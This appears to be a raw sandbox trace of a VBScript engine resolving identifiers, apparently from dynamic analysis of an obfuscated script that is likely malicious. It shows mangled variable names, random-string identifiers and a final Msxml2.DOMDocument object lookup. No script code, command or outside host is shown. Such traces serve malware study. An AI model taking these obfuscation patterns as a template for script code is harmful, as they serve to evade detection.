[0088.732] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="STRHE1LPALL", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0088.732] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="STRHE1LPALL", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0088.732] GetCurrentThreadId () returned 0xd44 [0088.732] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.732] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0088.732] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="STRHELP1LONG", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0088.732] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="STRHELP1LONG", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0088.732] GetCurrentThreadId () returned 0xd44 [0088.732] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.732] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0088.733] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="STRHELP1SHORT", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0088.733] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="STRHELP1SHORT", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0088.733] GetCurrentThreadId () returned 0xd44 [0088.733] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.733] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0088.733] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="STR1HEAD", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0088.733] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="STR1HEAD", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0088.733] GetCurrentThreadId () returned 0xd44 [0088.733] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.733] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0088.733] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="STR1HTML", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0088.734] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="STR1HTML", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0088.734] GetCurrentThreadId () returned 0xd44 [0088.734] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.734] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0088.734] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="ST1RMSG", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0088.734] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="ST1RMSG", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0088.734] GetCurrentThreadId () returned 0xd44 [0088.734] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.734] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0088.734] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="STRN1UMVER", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0088.734] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="STRN1UMVER", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0088.734] GetCurrentThreadId () returned 0xd44 [0088.734] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.735] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0088.735] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="STROSL1OCL", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0088.735] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="STROSL1OCL", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0088.735] GetCurrentThreadId () returned 0xd44 [0088.735] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.735] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0088.735] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="STRP1ATTERN", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0088.735] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="STRP1ATTERN", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0088.735] GetCurrentThreadId () returned 0xd44 [0088.735] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.735] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0088.736] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="STRPREVIOU1SLETTER", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0088.736] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="STRPREVIOU1SLETTER", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0088.736] GetCurrentThreadId () returned 0xd44 [0088.736] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.736] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0088.736] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="STRSCRI1PTENGINE", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0088.736] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="STRSCRI1PTENGINE", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0088.736] GetCurrentThreadId () returned 0xd44 [0088.736] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.736] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0088.737] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="STRSCRIP1TPATH", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0088.737] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="STRSCRIP1TPATH", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0088.737] GetCurrentThreadId () returned 0xd44 [0088.737] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.737] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0088.737] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="STRSC1RIPTVER", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0088.737] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="STRSC1RIPTVER", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0088.737] GetCurrentThreadId () returned 0xd44 [0088.737] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.737] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0088.738] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="STRUN1KNOWNCOMMAND", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0088.738] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="STRUN1KNOWNCOMMAND", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0088.738] GetCurrentThreadId () returned 0xd44 [0088.738] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.738] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0088.738] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="STRWI1NVER", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0088.738] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="STRWI1NVER", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0088.738] GetCurrentThreadId () returned 0xd44 [0088.738] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.738] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154c94 | out: ppvObject=0x154c94*=0x11977a8) returned 0x0 [0088.739] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="fsdfdsfs", grfdex=0x8, pid=0x154cb0 | out: pid=0x154cb0*=1395980) returned 0x80020006 [0088.739] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="fsdfdsfs", grfdex=0x8, pid=0x154c08 | out: pid=0x154c08*=-1) returned 0x80020006 [0088.739] GetCurrentThreadId () returned 0xd44 [0088.739] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.739] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154c94 | out: ppvObject=0x154c94*=0x11977a8) returned 0x0 [0088.739] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="yulkytjtrhtjrkdsarjky", grfdex=0x8, pid=0x154cb0 | out: pid=0x154cb0*=1395980) returned 0x80020006 [0088.739] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="yulkytjtrhtjrkdsarjky", grfdex=0x8, pid=0x154c08 | out: pid=0x154c08*=-1) returned 0x80020006 [0088.739] GetCurrentThreadId () returned 0xd44 [0088.739] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.739] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154c94 | out: ppvObject=0x154c94*=0x11977a8) returned 0x0 [0088.740] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="veuifeig23e02i3r029u4r43j89uotjf893jt", grfdex=0x8, pid=0x154cb0 | out: pid=0x154cb0*=1395980) returned 0x80020006 [0088.740] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="veuifeig23e02i3r029u4r43j89uotjf893jt", grfdex=0x8, pid=0x154c08 | out: pid=0x154c08*=-1) returned 0x80020006 [0088.740] GetCurrentThreadId () returned 0xd44 [0088.740] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.756] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154c94 | out: ppvObject=0x154c94*=0x11977a8) returned 0x0 [0088.756] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="wslausfychks", grfdex=0x8, pid=0x154cb0 | out: pid=0x154cb0*=1395980) returned 0x80020006 [0088.756] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="wslausfychks", grfdex=0x8, pid=0x154c08 | out: pid=0x154c08*=-1) returned 0x80020006 [0088.756] GetCurrentThreadId () returned 0xd44 [0088.756] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.756] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154c94 | out: ppvObject=0x154c94*=0x11977a8) returned 0x0 [0088.757] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="clswfoiwghuo", grfdex=0x8, pid=0x154cb0 | out: pid=0x154cb0*=1395980) returned 0x80020006 [0088.757] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="clswfoiwghuo", grfdex=0x8, pid=0x154c08 | out: pid=0x154c08*=-1) returned 0x80020006 [0088.757] GetCurrentThreadId () returned 0xd44 [0088.757] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.757] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154c94 | out: ppvObject=0x154c94*=0x11977a8) returned 0x0 [0088.757] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="aaax", grfdex=0x8, pid=0x154cb0 | out: pid=0x154cb0*=1395980) returned 0x80020006 [0088.757] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="aaax", grfdex=0x8, pid=0x154c08 | out: pid=0x154c08*=-1) returned 0x80020006 [0088.757] GetCurrentThreadId () returned 0xd44 [0088.757] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.757] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154c94 | out: ppvObject=0x154c94*=0x11977a8) returned 0x0 [0088.758] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="dfgdfgdfgd", grfdex=0x8, pid=0x154cb0 | out: pid=0x154cb0*=1395980) returned 0x80020006 [0088.758] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="dfgdfgdfgd", grfdex=0x8, pid=0x154c08 | out: pid=0x154c08*=-1) returned 0x80020006 [0088.758] GetCurrentThreadId () returned 0xd44 [0088.758] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.758] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154c94 | out: ppvObject=0x154c94*=0x11977a8) returned 0x0 [0088.758] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="wss", grfdex=0x8, pid=0x154cb0 | out: pid=0x154cb0*=1395980) returned 0x80020006 [0088.758] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="wss", grfdex=0x8, pid=0x154c08 | out: pid=0x154c08*=-1) returned 0x80020006 [0088.758] GetCurrentThreadId () returned 0xd44 [0088.758] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.758] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154c94 | out: ppvObject=0x154c94*=0x11977a8) returned 0x0 [0088.759] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="letters", grfdex=0x8, pid=0x154cb0 | out: pid=0x154cb0*=1395980) returned 0x80020006 [0088.759] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="letters", grfdex=0x8, pid=0x154c08 | out: pid=0x154c08*=-1) returned 0x80020006 [0088.759] GetCurrentThreadId () returned 0xd44 [0088.759] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.759] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154c94 | out: ppvObject=0x154c94*=0x11977a8) returned 0x0 [0088.759] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="virto", grfdex=0x8, pid=0x154cb0 | out: pid=0x154cb0*=1395980) returned 0x80020006 [0088.759] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="virto", grfdex=0x8, pid=0x154c08 | out: pid=0x154c08*=-1) returned 0x80020006 [0088.759] GetCurrentThreadId () returned 0xd44 [0088.759] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.759] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154c94 | out: ppvObject=0x154c94*=0x11977a8) returned 0x0 [0088.760] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="ywrjjjjjjjjjjjjwty", grfdex=0x8, pid=0x154cb0 | out: pid=0x154cb0*=1395980) returned 0x80020006 [0088.760] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="ywrjjjjjjjjjjjjwty", grfdex=0x8, pid=0x154c08 | out: pid=0x154c08*=-1) returned 0x80020006 [0088.760] GetCurrentThreadId () returned 0xd44 [0088.760] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.760] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154c94 | out: ppvObject=0x154c94*=0x11977a8) returned 0x0 [0088.760] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="pioeig", grfdex=0x8, pid=0x154cb0 | out: pid=0x154cb0*=1395980) returned 0x80020006 [0088.760] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="pioeig", grfdex=0x8, pid=0x154c08 | out: pid=0x154c08*=-1) returned 0x80020006 [0088.760] GetCurrentThreadId () returned 0xd44 [0088.760] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.760] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154c94 | out: ppvObject=0x154c94*=0x11977a8) returned 0x0 [0088.761] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="pisj", grfdex=0x8, pid=0x154cb0 | out: pid=0x154cb0*=1395980) returned 0x80020006 [0088.761] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="pisj", grfdex=0x8, pid=0x154c08 | out: pid=0x154c08*=-1) returned 0x80020006 [0088.761] GetCurrentThreadId () returned 0xd44 [0088.761] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.761] ??2@YAPAXI@Z () returned 0x86bff10 [0088.761] malloc (_Size=0x804) returned 0x83fc220 [0088.761] IUnknown:AddRef (This=0x11977a8) returned 0x6 [0088.761] IUnknown:AddRef (This=0x11977a8) returned 0x7 [0088.762] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154764 | out: ppvObject=0x154764*=0x11977a8) returned 0x0 [0088.762] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="t676fttf754vb4xfg6yxygbyu67rfgibgfbnfr7", grfdex=0x8, pid=0x154780 | out: pid=0x154780*=1394652) returned 0x80020006 [0088.762] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="t676fttf754vb4xfg6yxygbyu67rfgibgfbnfr7", grfdex=0x8, pid=0x1546d8 | out: pid=0x1546d8*=-1) returned 0x80020006 [0088.762] GetCurrentThreadId () returned 0xd44 [0088.762] IUnknown:Release (This=0x11977a8) returned 0x7 [0088.762] ??2@YAPAXI@Z () returned 0x11c2228 [0088.762] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154764 | out: ppvObject=0x154764*=0x11977a8) returned 0x0 [0088.762] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="kvjusvsfdcsb", grfdex=0x8, pid=0x154780 | out: pid=0x154780*=1394652) returned 0x80020006 [0088.762] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="kvjusvsfdcsb", grfdex=0x8, pid=0x1546d8 | out: pid=0x1546d8*=-1) returned 0x80020006 [0088.762] GetCurrentThreadId () returned 0xd44 [0088.763] IUnknown:Release (This=0x11977a8) returned 0x7 [0088.763] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154764 | out: ppvObject=0x154764*=0x11977a8) returned 0x0 [0088.763] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="cvbnm", grfdex=0x8, pid=0x154780 | out: pid=0x154780*=1394652) returned 0x80020006 [0088.763] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="cvbnm", grfdex=0x8, pid=0x1546d8 | out: pid=0x1546d8*=-1) returned 0x80020006 [0088.763] GetCurrentThreadId () returned 0xd44 [0088.763] IUnknown:Release (This=0x11977a8) returned 0x7 [0088.763] malloc (_Size=0x204) returned 0x847b3d8 [0088.764] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154764 | out: ppvObject=0x154764*=0x11977a8) returned 0x0 [0088.764] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="soswjwslvc", grfdex=0x8, pid=0x154780 | out: pid=0x154780*=1394652) returned 0x80020006 [0088.764] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="soswjwslvc", grfdex=0x8, pid=0x1546d8 | out: pid=0x1546d8*=-1) returned 0x80020006 [0088.764] GetCurrentThreadId () returned 0xd44 [0088.764] IUnknown:Release (This=0x11977a8) returned 0x7 [0088.764] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154764 | out: ppvObject=0x154764*=0x11977a8) returned 0x0 [0088.764] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="mosdoepfy9eqje", grfdex=0x8, pid=0x154780 | out: pid=0x154780*=1394652) returned 0x80020006 [0088.764] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="mosdoepfy9eqje", grfdex=0x8, pid=0x1546d8 | out: pid=0x1546d8*=-1) returned 0x80020006 [0088.764] GetCurrentThreadId () returned 0xd44 [0088.764] IUnknown:Release (This=0x11977a8) returned 0x7 [0088.765] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154764 | out: ppvObject=0x154764*=0x11977a8) returned 0x0 [0088.765] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="vposaleusaogr", grfdex=0x8, pid=0x154780 | out: pid=0x154780*=1394652) returned 0x80020006 [0088.765] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="vposaleusaogr", grfdex=0x8, pid=0x1546d8 | out: pid=0x1546d8*=-1) returned 0x80020006 [0088.765] GetCurrentThreadId () returned 0xd44 [0088.765] IUnknown:Release (This=0x11977a8) returned 0x7 [0088.766] ??2@YAPAXI@Z () returned 0x86bfee0 [0088.766] malloc (_Size=0x804) returned 0x83fc220 [0088.767] IUnknown:AddRef (This=0x11977a8) returned 0x8 [0088.767] CLSIDFromProgIDEx (in: lpszProgID="Msxml2.DOMDocument", lpclsid=0x1544ac | out: lpclsid=0x1544ac*(Data1=0xf6d90f11, Data2=0x9c73, Data3=0x11d3, Data4=([0]=0xb3, [1]=0x2e, [2]=0x0, [3]=0xc0, 